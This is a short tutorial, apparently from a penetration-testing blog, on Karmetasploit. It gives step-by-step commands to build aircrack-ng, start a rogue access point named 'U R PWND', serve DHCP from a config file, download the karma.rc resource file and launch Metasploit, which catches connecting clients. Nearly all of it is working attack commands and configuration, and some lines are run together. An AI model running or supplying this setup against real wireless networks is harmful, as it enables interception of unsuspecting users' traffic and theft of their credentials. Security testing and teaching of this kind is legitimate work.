Metasploit is now one of the best tool for penetration testing and the word Karmetasploit has driven from two words one is KARMA (KARMA Attacks Radioed Machines Automatically) and the other is Metasploit.  

$ svn co http://trac.aircrack-ng.org/svn/trunk/ aircrack-ng
$ make
# make install 

# airmon-ng start [wifi-interface]

root@bt:/pentest/exploits/framework3# wget http://www.offensive-security.com/downloads/karma.rc

root@bt:/pentest/exploits/framework3# cat /etc/dhcp3/dhcpd.conf
option domain-name-servers 10.0.0.1;

default-lease-time 60;
max-lease-time 72;

ddns-update-style none;

authoritative;

log-facility local7;

subnet 10.0.0.0 netmask 255.255.255.0 {
  range 10.0.0.100 10.0.0.254;
  option routers 10.0.0.1;
  option domain-name-servers 10.0.0.1;
}

root@bt:~# gem install activerecord sqlite3-ruby

root@bt:~# airmon-ng
root@bt:~# airmon-ng stop ath0
root@bt:~# airmon-ng start wifi0
root@bt:~# airbase-ng -P -C 30 -e “U R PWND” -v ath1

root@bt:~# ifconfig at0 up 10.0.0.1 netmask 255.255.255.0root@bt:~# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0root@bt:~# ps aux | grep dhcpd

root@bt:~# cd /pentest/exploits/framework3/
root@bt:/pentest/exploits/framework3# msfconsole -r karma.rc 

msf auxiliary(http) >

msf auxiliary(http) >
[*] DNS 10.0.0.100:1276 XID 87 (IN::A www.google.com)